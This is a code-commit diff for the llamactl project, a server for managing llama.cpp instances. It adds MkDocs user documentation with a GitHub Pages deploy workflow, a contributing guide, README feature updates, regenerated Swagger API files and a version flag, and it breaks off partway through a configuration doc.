Merge pull request #28 from lordmathis/docs/user-guide

docs: Add mkdocs based user documentation

.github/workflows/docs.yml

@@ -0,0 +1,65 @@
+name: Build and Deploy Documentation
+
+on:
+  push:
+    branches: [ main ]
+    paths:
+      - 'docs/**'
+      - 'mkdocs.yml'
+      - 'docs-requirements.txt'
+      - '.github/workflows/docs.yml'
+  pull_request:
+    branches: [ main ]
+    paths:
+      - 'docs/**'
+      - 'mkdocs.yml'
+      - 'docs-requirements.txt'
+
+permissions:
+  contents: read
+  pages: write
+  id-token: write
+
+concurrency:
+  group: "pages"
+  cancel-in-progress: false
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0  # Needed for git-revision-date-localized plugin
+
+      - name: Setup Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install -r docs-requirements.txt
+
+      - name: Build documentation
+        run: |
+          mkdocs build --strict
+
+      - name: Upload documentation artifact
+        if: github.ref == 'refs/heads/main'
+        uses: actions/upload-pages-artifact@v3
+        with:
+          path: ./site
+
+  deploy:
+    if: github.ref == 'refs/heads/main'
+    environment:
+      name: github-pages
+      url: ${{ steps.deployment.outputs.page_url }}
+    runs-on: ubuntu-latest
+    needs: build
+    steps:
+      - name: Deploy to GitHub Pages
+        id: deployment
+        uses: actions/deploy-pages@v4

.github/workflows/release.yaml

@@ -29,6 +29,8 @@ jobs:
           npm ci
 
       - name: Build Web UI
+        env:
+          VITE_APP_VERSION: ${{ github.ref_name }}
         run: |
           cd webui
           npm run build

.vscode/launch.json

@@ -0,0 +1,19 @@
+{
+    // Use IntelliSense to learn about possible attributes.
+    // Hover to view descriptions of existing attributes.
+    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+    "version": "0.2.0",
+    "configurations": [
+        {
+            "name": "Launch Server",
+            "type": "go",
+            "request": "launch",
+            "mode": "auto",
+            "program": "${workspaceFolder}/cmd/server/main.go",
+            "env": {
+                "GO_ENV": "development",
+                "LLAMACTL_REQUIRE_MANAGEMENT_AUTH": "false"
+            },
+        }
+    ]
+}

CNAME

@@ -0,0 +1 @@
+llamactl.org

CONTRIBUTING.md

@@ -0,0 +1,182 @@
+# Contributing to Llamactl
+
+Thank you for considering contributing to Llamactl! This document outlines the development setup and contribution process.
+
+## Development Setup
+
+### Prerequisites
+
+- Go 1.24 or later
+- Node.js 22 or later
+- `llama-server` executable (from [llama.cpp](https://github.com/ggml-org/llama.cpp))
+
+### Getting Started
+
+1. **Clone the repository**
+   ```bash
+   git clone https://github.com/lordmathis/llamactl.git
+   cd llamactl
+   ```
+
+2. **Install dependencies**
+   ```bash
+   # Go dependencies
+   go mod download
+   
+   # Frontend dependencies
+   cd webui && npm ci && cd ..
+   ```
+
+3. **Run for development**
+   ```bash
+   # Start backend server
+   go run ./cmd/server
+   ```
+   Server will be available at `http://localhost:8080`
+   
+   ```bash
+   # In a separate terminal, start frontend dev server
+   cd webui && npm run dev
+   ```
+   Development UI will be available at `http://localhost:5173`
+
+4. **Common development commands**
+   ```bash
+   # Backend
+   go test ./... -v                    # Run tests
+   go test -race ./... -v              # Run with race detector
+   go fmt ./... && go vet ./...        # Format and vet code
+   
+   # Frontend (run from webui/ directory)
+   npm run test:run                    # Run tests once
+   npm run test                        # Run tests in watch mode
+   npm run type-check                  # TypeScript type checking
+   npm run lint:fix                    # Lint and fix issues
+   ```
+
+## Before Submitting a Pull Request
+
+### Required Checks
+
+All the following must pass:
+
+1. **Backend**
+   ```bash
+   go test ./... -v
+   go test -race ./... -v
+   go fmt ./... && go vet ./...
+   go build -o llamactl ./cmd/server
+   ```
+
+2. **Frontend**
+   ```bash
+   cd webui
+   npm run test:run
+   npm run type-check
+   npm run build
+   ```
+
+### API Documentation
+
+If changes affect API endpoints, update Swagger documentation:
+
+```bash
+# Install swag if needed
+go install github.com/swaggo/swag/cmd/swag@latest
+
+# Update Swagger comments in pkg/server/handlers.go
+# Then regenerate docs
+swag init -g cmd/server/main.go -o apidocs
+```
+
+## Pull Request Guidelines
+
+### Pull Request Titles
+Use this format for pull request titles:
+- `feat:` for new features
+- `fix:` for bug fixes  
+- `docs:` for documentation changes
+- `test:` for test additions or modifications
+- `refactor:` for code refactoring
+
+### Submission Process
+1. Create a feature branch from `main`
+2. Make changes following the coding standards
+3. Run all required checks listed above
+4. Update documentation if necessary
+5. Submit pull request with:
+   - Clear description of changes
+   - Reference to any related issues
+   - Screenshots for UI changes
+
+## Code Style and Testing
+
+### Testing Strategy
+- Backend tests use Go's built-in testing framework
+- Frontend tests use Vitest and React Testing Library
+- Run tests frequently during development
+- Add tests for new features and bug fixes
+
+### Go
+- Follow standard Go formatting (`go fmt`)
+- Use meaningful variable and function names  
+- Add comments for exported functions and types
+- Handle errors appropriately
+
+### TypeScript/React
+- Use TypeScript strictly (avoid `any` when possible)
+- Follow React hooks best practices
+- Use meaningful component and variable names
+- Prefer functional components over class components
+
+## Documentation Development
+
+This project uses MkDocs for documentation. When working on documentation:
+
+### Setup Documentation Environment
+
+```bash
+# Install documentation dependencies
+pip install -r docs-requirements.txt
+```
+
+### Development Workflow
+
+```bash
+# Serve documentation locally for development
+mkdocs serve
+```
+The documentation will be available at http://localhost:8000
+
+```bash
+# Build static documentation site
+mkdocs build
+```
+The built site will be in the `site/` directory.
+
+### Documentation Structure
+
+- `docs/` - Documentation content (Markdown files)
+- `mkdocs.yml` - MkDocs configuration
+- `docs-requirements.txt` - Python dependencies for documentation
+
+### Adding New Documentation
+
+When adding new documentation:
+
+1. Create Markdown files in the appropriate `docs/` subdirectory
+2. Update the navigation in `mkdocs.yml`
+3. Test locally with `mkdocs serve`
+4. Submit a pull request
+
+### Documentation Deployment
+
+Documentation is automatically built and deployed to GitHub Pages when changes are pushed to the main branch.
+
+## Getting Help
+
+- Check existing [issues](https://github.com/lordmathis/llamactl/issues)
+- Review the [README.md](README.md) for usage documentation  
+- Look at existing code for patterns and conventions
+
+Thank you for contributing to Llamactl!

README.md

@@ -2,7 +2,7 @@
 
 ![Build and Release](https://github.com/lordmathis/llamactl/actions/workflows/release.yaml/badge.svg) ![Go Tests](https://github.com/lordmathis/llamactl/actions/workflows/go_test.yaml/badge.svg) ![WebUI Tests](https://github.com/lordmathis/llamactl/actions/workflows/webui_test.yaml/badge.svg)
 
-**Management server for multiple llama.cpp instances with OpenAI-compatible API routing.**
+**Management server and proxy for multiple llama.cpp instances with OpenAI-compatible API routing.**
 
 ## Why llamactl?
 
@@ -11,7 +11,11 @@
 🌐 **Web Dashboard**: Modern React UI for visual management (unlike CLI-only tools)  
 🔐 **API Key Authentication**: Separate keys for management vs inference access  
 📊 **Instance Monitoring**: Health checks, auto-restart, log management  
-⚡ **Persistent State**: Instances survive server restarts
+⚡ **Smart Resource Management**: Idle timeout, LRU eviction, and configurable instance limits  
+💡 **On-Demand Instance Start**: Automatically launch instances upon receiving OpenAI-compatible API requests  
+💾 **State Persistence**: Ensure instances remain intact across server restarts  
+
+![Dashboard Screenshot](docs/images/dashboard.png)
 
 **Choose llamactl if**: You need authentication, health monitoring, auto-restart, and centralized management of multiple llama-server instances  
 **Choose Ollama if**: You want the simplest setup with strong community ecosystem and third-party integrations  
@@ -109,10 +113,15 @@ instances:
   logs_dir: ~/.local/share/llamactl/logs    # Logs directory
   auto_create_dirs: true         # Auto-create data/config/logs dirs if missing
   max_instances: -1              # Max instances (-1 = unlimited)
+  max_running_instances: -1      # Max running instances (-1 = unlimited)
+  enable_lru_eviction: true      # Enable LRU eviction for idle instances
   llama_executable: llama-server # Path to llama-server executable
   default_auto_restart: true     # Auto-restart new instances by default
   default_max_restarts: 3        # Max restarts for new instances
   default_restart_delay: 5       # Restart delay (seconds) for new instances
+  default_on_demand_start: true  # Default on-demand start setting
+  on_demand_start_timeout: 120   # Default on-demand start timeout in seconds
+  timeout_check_interval: 5      # Idle instance timeout check in minutes
 
 auth:
   require_inference_auth: true   # Require auth for inference endpoints
@@ -121,96 +130,7 @@ auth:
   management_keys: []            # Keys for management endpoints
 ```
 
-<details><summary><strong>Full Configuration Guide</strong></summary>
+For detailed configuration options including environment variables, file locations, and advanced settings, see the [Configuration Guide](docs/getting-started/configuration.md).
-
-llamactl can be configured via configuration files or environment variables. Configuration is loaded in the following order of precedence:  
-
-```
-Defaults < Configuration file < Environment variables
-```
-
-### Configuration Files
-
-#### Configuration File Locations
-
-Configuration files are searched in the following locations (in order of precedence):
-
-**Linux/macOS:**
-- `./llamactl.yaml` or `./config.yaml` (current directory)
-- `$HOME/.config/llamactl/config.yaml`
-- `/etc/llamactl/config.yaml`
-
-**Windows:**
-- `./llamactl.yaml` or `./config.yaml` (current directory)
-- `%APPDATA%\llamactl\config.yaml`
-- `%USERPROFILE%\llamactl\config.yaml`
-- `%PROGRAMDATA%\llamactl\config.yaml`
-
-You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable.
-
-### Configuration Options
-
-#### Server Configuration
-
-```yaml
-server:
-  host: "0.0.0.0"         # Server host to bind to (default: "0.0.0.0")
-  port: 8080              # Server port to bind to (default: 8080)
-  allowed_origins: ["*"]  # CORS allowed origins (default: ["*"])
-  enable_swagger: false   # Enable Swagger UI (default: false)
-```
-
-**Environment Variables:**
-- `LLAMACTL_HOST` - Server host
-- `LLAMACTL_PORT` - Server port
-- `LLAMACTL_ALLOWED_ORIGINS` - Comma-separated CORS origins
-- `LLAMACTL_ENABLE_SWAGGER` - Enable Swagger UI (true/false)
-
-#### Instance Configuration
-
-```yaml
-instances:
-  port_range: [8000, 9000]           # Port range for instances (default: [8000, 9000])
-  data_dir: "~/.local/share/llamactl" # Directory for all llamactl data (default varies by OS)
-  configs_dir: "~/.local/share/llamactl/instances" # Directory for instance configs (default: data_dir/instances)
-  logs_dir: "~/.local/share/llamactl/logs" # Directory for instance logs (default: data_dir/logs)
-  auto_create_dirs: true             # Automatically create data/config/logs directories (default: true)
-  max_instances: -1                  # Maximum instances (-1 = unlimited)
-  llama_executable: "llama-server"   # Path to llama-server executable
-  default_auto_restart: true         # Default auto-restart setting
-  default_max_restarts: 3            # Default maximum restart attempts
-  default_restart_delay: 5           # Default restart delay in seconds
-```
-
-**Environment Variables:**
-- `LLAMACTL_INSTANCE_PORT_RANGE` - Port range (format: "8000-9000" or "8000,9000")
-- `LLAMACTL_DATA_DIRECTORY` - Data directory path
-- `LLAMACTL_INSTANCES_DIR` - Instance configs directory path
-- `LLAMACTL_LOGS_DIR` - Log directory path
-- `LLAMACTL_AUTO_CREATE_DATA_DIR` - Auto-create data/config/logs directories (true/false)
-- `LLAMACTL_MAX_INSTANCES` - Maximum number of instances
-- `LLAMACTL_LLAMA_EXECUTABLE` - Path to llama-server executable
-- `LLAMACTL_DEFAULT_AUTO_RESTART` - Default auto-restart setting (true/false)
-- `LLAMACTL_DEFAULT_MAX_RESTARTS` - Default maximum restarts
-- `LLAMACTL_DEFAULT_RESTART_DELAY` - Default restart delay in seconds
-
-#### Authentication Configuration
-
-```yaml
-auth:
-  require_inference_auth: true           # Require API key for OpenAI endpoints (default: true)
-  inference_keys: []                     # List of valid inference API keys
-  require_management_auth: true          # Require API key for management endpoints (default: true)
-  management_keys: []                    # List of valid management API keys
-```
-
-**Environment Variables:**
-- `LLAMACTL_REQUIRE_INFERENCE_AUTH` - Require auth for OpenAI endpoints (true/false)
-- `LLAMACTL_INFERENCE_KEYS` - Comma-separated inference API keys
-- `LLAMACTL_REQUIRE_MANAGEMENT_AUTH` - Require auth for management endpoints (true/false)
-- `LLAMACTL_MANAGEMENT_KEYS` - Comma-separated management API keys
-
-</details>
 
 ## License
 

apidocs/docs.go

@@ -1,5 +1,5 @@
-// Package docs Code generated by swaggo/swag. DO NOT EDIT
+// Package apidocs Code generated by swaggo/swag. DO NOT EDIT
-package docs
+package apidocs
 
 import "github.com/swaggo/swag"
 
@@ -37,7 +37,7 @@ const docTemplate = `{
                         "schema": {
                             "type": "array",
                             "items": {
-                                "$ref": "#/definitions/llamactl.Instance"
+                                "$ref": "#/definitions/instance.Process"
                             }
                         }
                     },
@@ -75,7 +75,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -120,7 +120,7 @@ const docTemplate = `{
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -128,7 +128,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Updated instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -173,7 +173,7 @@ const docTemplate = `{
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -181,7 +181,7 @@ const docTemplate = `{
                     "201": {
                         "description": "Created instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -401,7 +401,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Restarted instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -444,7 +444,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Started instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -487,7 +487,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Stopped instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -639,7 +639,35 @@ const docTemplate = `{
                     "200": {
                         "description": "List of OpenAI-compatible instances",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.OpenAIListInstancesResponse"
+                            "$ref": "#/definitions/server.OpenAIListInstancesResponse"
+                        }
+                    },
+                    "500": {
+                        "description": "Internal Server Error",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                }
+            }
+        },
+        "/version": {
+            "get": {
+                "security": [
+                    {
+                        "ApiKeyAuth": []
+                    }
+                ],
+                "description": "Returns the version of the llamactl command",
+                "tags": [
+                    "version"
+                ],
+                "summary": "Get llamactl version",
+                "responses": {
+                    "200": {
+                        "description": "Version information",
+                        "schema": {
+                            "type": "string"
                         }
                     },
                     "500": {
@@ -653,7 +681,7 @@ const docTemplate = `{
         }
     },
     "definitions": {
-        "llamactl.CreateInstanceOptions": {
+        "instance.CreateInstanceOptions": {
             "type": "object",
             "properties": {
                 "alias": {
@@ -751,7 +779,6 @@ const docTemplate = `{
                     "type": "string"
                 },
                 "draft_max": {
-                    "description": "Speculative decoding params",
                     "type": "integer"
                 },
                 "draft_min": {
@@ -857,6 +884,10 @@ const docTemplate = `{
                 "host": {
                     "type": "string"
                 },
+                "idle_timeout": {
+                    "description": "Idle timeout",
+                    "type": "integer"
+                },
                 "ignore_eos": {
                     "type": "boolean"
                 },
@@ -955,7 +986,7 @@ const docTemplate = `{
                     "type": "boolean"
                 },
                 "no_context_shift": {
-                    "description": "Server/Example-specific params",
+                    "description": "Example-specific params",
                     "type": "boolean"
                 },
                 "no_escape": {
@@ -991,6 +1022,10 @@ const docTemplate = `{
                 "numa": {
                     "type": "string"
                 },
+                "on_demand_start": {
+                    "description": "On demand start",
+                    "type": "boolean"
+                },
                 "override_kv": {
                     "type": "array",
                     "items": {
@@ -1027,10 +1062,10 @@ const docTemplate = `{
                 "presence_penalty": {
                     "type": "number"
                 },
-                "priority": {
+                "prio": {
                     "type": "integer"
                 },
-                "priority_batch": {
+                "prio_batch": {
                     "type": "integer"
                 },
                 "props": {
@@ -1051,8 +1086,7 @@ const docTemplate = `{
                 "reranking": {
                     "type": "boolean"
                 },
-                "restart_delay_seconds": {
+                "restart_delay": {
-                    "description": "RestartDelay duration in seconds",
                     "type": "integer"
                 },
                 "rope_freq_base": {
@@ -1101,7 +1135,7 @@ const docTemplate = `{
                 "ssl_key_file": {
                     "type": "string"
                 },
-                "temperature": {
+                "temp": {
                     "type": "number"
                 },
                 "tensor_split": {
@@ -1167,7 +1201,20 @@ const docTemplate = `{
                 }
             }
         },
-        "llamactl.Instance": {
+        "instance.InstanceStatus": {
+            "type": "integer",
+            "enum": [
+                0,
+                1,
+                2
+            ],
+            "x-enum-varnames": [
+                "Stopped",
+                "Running",
+                "Failed"
+            ]
+        },
+        "instance.Process": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1177,13 +1224,17 @@ const docTemplate = `{
                 "name": {
                     "type": "string"
                 },
-                "running": {
+                "status": {
                     "description": "Status",
-                    "type": "boolean"
+                    "allOf": [
+                        {
+                            "$ref": "#/definitions/instance.InstanceStatus"
+                        }
+                    ]
                 }
             }
         },
-        "llamactl.OpenAIInstance": {
+        "server.OpenAIInstance": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1200,13 +1251,13 @@ const docTemplate = `{
                 }
             }
         },
-        "llamactl.OpenAIListInstancesResponse": {
+        "server.OpenAIListInstancesResponse": {
             "type": "object",
             "properties": {
                 "data": {
                     "type": "array",
                     "items": {
-                        "$ref": "#/definitions/llamactl.OpenAIInstance"
+                        "$ref": "#/definitions/server.OpenAIInstance"
                     }
                 },
                 "object": {

apidocs/swagger.json

@@ -30,7 +30,7 @@
                         "schema": {
                             "type": "array",
                             "items": {
-                                "$ref": "#/definitions/llamactl.Instance"
+                                "$ref": "#/definitions/instance.Process"
                             }
                         }
                     },
@@ -68,7 +68,7 @@
                     "200": {
                         "description": "Instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -113,7 +113,7 @@
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -121,7 +121,7 @@
                     "200": {
                         "description": "Updated instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -166,7 +166,7 @@
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -174,7 +174,7 @@
                     "201": {
                         "description": "Created instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -394,7 +394,7 @@
                     "200": {
                         "description": "Restarted instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -437,7 +437,7 @@
                     "200": {
                         "description": "Started instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -480,7 +480,7 @@
                     "200": {
                         "description": "Stopped instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -632,7 +632,35 @@
                     "200": {
                         "description": "List of OpenAI-compatible instances",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.OpenAIListInstancesResponse"
+                            "$ref": "#/definitions/server.OpenAIListInstancesResponse"
+                        }
+                    },
+                    "500": {
+                        "description": "Internal Server Error",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                }
+            }
+        },
+        "/version": {
+            "get": {
+                "security": [
+                    {
+                        "ApiKeyAuth": []
+                    }
+                ],
+                "description": "Returns the version of the llamactl command",
+                "tags": [
+                    "version"
+                ],
+                "summary": "Get llamactl version",
+                "responses": {
+                    "200": {
+                        "description": "Version information",
+                        "schema": {
+                            "type": "string"
                         }
                     },
                     "500": {
@@ -646,7 +674,7 @@
         }
     },
     "definitions": {
-        "llamactl.CreateInstanceOptions": {
+        "instance.CreateInstanceOptions": {
             "type": "object",
             "properties": {
                 "alias": {
@@ -744,7 +772,6 @@
                     "type": "string"
                 },
                 "draft_max": {
-                    "description": "Speculative decoding params",
                     "type": "integer"
                 },
                 "draft_min": {
@@ -850,6 +877,10 @@
                 "host": {
                     "type": "string"
                 },
+                "idle_timeout": {
+                    "description": "Idle timeout",
+                    "type": "integer"
+                },
                 "ignore_eos": {
                     "type": "boolean"
                 },
@@ -948,7 +979,7 @@
                     "type": "boolean"
                 },
                 "no_context_shift": {
-                    "description": "Server/Example-specific params",
+                    "description": "Example-specific params",
                     "type": "boolean"
                 },
                 "no_escape": {
@@ -984,6 +1015,10 @@
                 "numa": {
                     "type": "string"
                 },
+                "on_demand_start": {
+                    "description": "On demand start",
+                    "type": "boolean"
+                },
                 "override_kv": {
                     "type": "array",
                     "items": {
@@ -1020,10 +1055,10 @@
                 "presence_penalty": {
                     "type": "number"
                 },
-                "priority": {
+                "prio": {
                     "type": "integer"
                 },
-                "priority_batch": {
+                "prio_batch": {
                     "type": "integer"
                 },
                 "props": {
@@ -1044,8 +1079,7 @@
                 "reranking": {
                     "type": "boolean"
                 },
-                "restart_delay_seconds": {
+                "restart_delay": {
-                    "description": "RestartDelay duration in seconds",
                     "type": "integer"
                 },
                 "rope_freq_base": {
@@ -1094,7 +1128,7 @@
                 "ssl_key_file": {
                     "type": "string"
                 },
-                "temperature": {
+                "temp": {
                     "type": "number"
                 },
                 "tensor_split": {
@@ -1160,7 +1194,20 @@
                 }
             }
         },
-        "llamactl.Instance": {
+        "instance.InstanceStatus": {
+            "type": "integer",
+            "enum": [
+                0,
+                1,
+                2
+            ],
+            "x-enum-varnames": [
+                "Stopped",
+                "Running",
+                "Failed"
+            ]
+        },
+        "instance.Process": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1170,13 +1217,17 @@
                 "name": {
                     "type": "string"
                 },
-                "running": {
+                "status": {
                     "description": "Status",
-                    "type": "boolean"
+                    "allOf": [
+                        {
+                            "$ref": "#/definitions/instance.InstanceStatus"
+                        }
+                    ]
                 }
             }
         },
-        "llamactl.OpenAIInstance": {
+        "server.OpenAIInstance": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1193,13 +1244,13 @@
                 }
             }
         },
-        "llamactl.OpenAIListInstancesResponse": {
+        "server.OpenAIListInstancesResponse": {
             "type": "object",
             "properties": {
                 "data": {
                     "type": "array",
                     "items": {
-                        "$ref": "#/definitions/llamactl.OpenAIInstance"
+                        "$ref": "#/definitions/server.OpenAIInstance"
                     }
                 },
                 "object": {

apidocs/swagger.yaml

@@ -1,6 +1,6 @@
 basePath: /api/v1
 definitions:
-  llamactl.CreateInstanceOptions:
+  instance.CreateInstanceOptions:
     properties:
       alias:
         type: string
@@ -66,7 +66,6 @@ definitions:
       device_draft:
         type: string
       draft_max:
-        description: Speculative decoding params
         type: integer
       draft_min:
         type: integer
@@ -137,6 +136,9 @@ definitions:
         type: string
       host:
         type: string
+      idle_timeout:
+        description: Idle timeout
+        type: integer
       ignore_eos:
         type: boolean
       jinja:
@@ -203,7 +205,7 @@ definitions:
       no_cont_batching:
         type: boolean
       no_context_shift:
-        description: Server/Example-specific params
+        description: Example-specific params
         type: boolean
       no_escape:
         type: boolean
@@ -227,6 +229,9 @@ definitions:
         type: boolean
       numa:
         type: string
+      on_demand_start:
+        description: On demand start
+        type: boolean
       override_kv:
         items:
           type: string
@@ -251,9 +256,9 @@ definitions:
         type: integer
       presence_penalty:
         type: number
-      priority:
+      prio:
         type: integer
-      priority_batch:
+      prio_batch:
         type: integer
       props:
         type: boolean
@@ -267,8 +272,7 @@ definitions:
         type: number
       reranking:
         type: boolean
-      restart_delay_seconds:
+      restart_delay:
-        description: RestartDelay duration in seconds
         type: integer
       rope_freq_base:
         type: number
@@ -301,7 +305,7 @@ definitions:
         type: string
       ssl_key_file:
         type: string
-      temperature:
+      temp:
         type: number
       tensor_split:
         type: string
@@ -345,18 +349,29 @@ definitions:
       yarn_orig_ctx:
         type: integer
     type: object
-  llamactl.Instance:
+  instance.InstanceStatus:
+    enum:
+    - 0
+    - 1
+    - 2
+    type: integer
+    x-enum-varnames:
+    - Stopped
+    - Running
+    - Failed
+  instance.Process:
     properties:
       created:
         description: Creation time
         type: integer
       name:
         type: string
-      running:
+      status:
+        allOf:
+        - $ref: '#/definitions/instance.InstanceStatus'
         description: Status
-        type: boolean
     type: object
-  llamactl.OpenAIInstance:
+  server.OpenAIInstance:
     properties:
       created:
         type: integer
@@ -367,11 +382,11 @@ definitions:
       owned_by:
         type: string
     type: object
-  llamactl.OpenAIListInstancesResponse:
+  server.OpenAIListInstancesResponse:
     properties:
       data:
         items:
-          $ref: '#/definitions/llamactl.OpenAIInstance'
+          $ref: '#/definitions/server.OpenAIInstance'
         type: array
       object:
         type: string
@@ -393,7 +408,7 @@ paths:
           description: List of instances
           schema:
             items:
-              $ref: '#/definitions/llamactl.Instance'
+              $ref: '#/definitions/instance.Process'
             type: array
         "500":
           description: Internal Server Error
@@ -441,7 +456,7 @@ paths:
         "200":
           description: Instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -470,12 +485,12 @@ paths:
         name: options
         required: true
         schema:
-          $ref: '#/definitions/llamactl.CreateInstanceOptions'
+          $ref: '#/definitions/instance.CreateInstanceOptions'
       responses:
         "201":
           description: Created instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid request body
           schema:
@@ -504,12 +519,12 @@ paths:
         name: options
         required: true
         schema:
-          $ref: '#/definitions/llamactl.CreateInstanceOptions'
+          $ref: '#/definitions/instance.CreateInstanceOptions'
       responses:
         "200":
           description: Updated instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -627,7 +642,7 @@ paths:
         "200":
           description: Restarted instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -654,7 +669,7 @@ paths:
         "200":
           description: Started instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -681,7 +696,7 @@ paths:
         "200":
           description: Stopped instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -777,7 +792,7 @@ paths:
         "200":
           description: List of OpenAI-compatible instances
           schema:
-            $ref: '#/definitions/llamactl.OpenAIListInstancesResponse'
+            $ref: '#/definitions/server.OpenAIListInstancesResponse'
         "500":
           description: Internal Server Error
           schema:
@@ -787,4 +802,21 @@ paths:
       summary: List instances in OpenAI-compatible format
       tags:
       - openai
+  /version:
+    get:
+      description: Returns the version of the llamactl command
+      responses:
+        "200":
+          description: Version information
+          schema:
+            type: string
+        "500":
+          description: Internal Server Error
+          schema:
+            type: string
+      security:
+      - ApiKeyAuth: []
+      summary: Get llamactl version
+      tags:
+      - version
 swagger: "2.0"

cmd/server/main.go

@@ -11,6 +11,11 @@ import (
 	"syscall"
 )
 
+// version is set at build time using -ldflags "-X main.version=1.0.0"
+var version string = "unknown"
+var commitHash string = "unknown"
+var buildTime string = "unknown"
+
 // @title llamactl API
 // @version 1.0
 // @description llamactl is a control server for managing Llama Server instances.
@@ -19,6 +24,14 @@ import (
 // @basePath /api/v1
 func main() {
 
+	// --version flag to print the version
+	if len(os.Args) > 1 && os.Args[1] == "--version" {
+		fmt.Printf("llamactl version: %s\n", version)
+		fmt.Printf("Commit hash: %s\n", commitHash)
+		fmt.Printf("Build time: %s\n", buildTime)
+		return
+	}
+
 	configPath := os.Getenv("LLAMACTL_CONFIG_PATH")
 	cfg, err := config.LoadConfig(configPath)
 	if err != nil {
@@ -26,6 +39,11 @@ func main() {
 		fmt.Println("Using default configuration.")
 	}
 
+	// Set version information
+	cfg.Version = version
+	cfg.CommitHash = commitHash
+	cfg.BuildTime = buildTime
+
 	// Create the data directory if it doesn't exist
 	if cfg.Instances.AutoCreateDirs {
 		if err := os.MkdirAll(cfg.Instances.InstancesDir, 0755); err != nil {

docs-requirements.txt

@@ -0,0 +1,4 @@
+mkdocs-material==9.5.3
+mkdocs==1.5.3
+pymdown-extensions==10.7
+mkdocs-git-revision-date-localized-plugin==1.2.4

docs/getting-started/configuration.md

@@ -0,0 +1,150 @@
+# Configuration
+
+llamactl can be configured via configuration files or environment variables. Configuration is loaded in the following order of precedence:
+
+```
+Defaults < Configuration file < Environment variables
+```
+
+llamactl works out of the box with sensible defaults, but you can customize the behavior to suit your needs.
+
+## Default Configuration
+
+Here's the default configuration with all available options:
+
+```yaml
+server:
+  host: "0.0.0.0"                # Server host to bind to
+  port: 8080                     # Server port to bind to
+  allowed_origins: ["*"]         # Allowed CORS origins (default: all)
+  enable_swagger: false          # Enable Swagger UI for API docs
+
+instances:
+  port_range: [8000, 9000]       # Port range for instances
+  data_dir: ~/.local/share/llamactl         # Data directory (platform-specific, see below)
+  configs_dir: ~/.local/share/llamactl/instances  # Instance configs directory
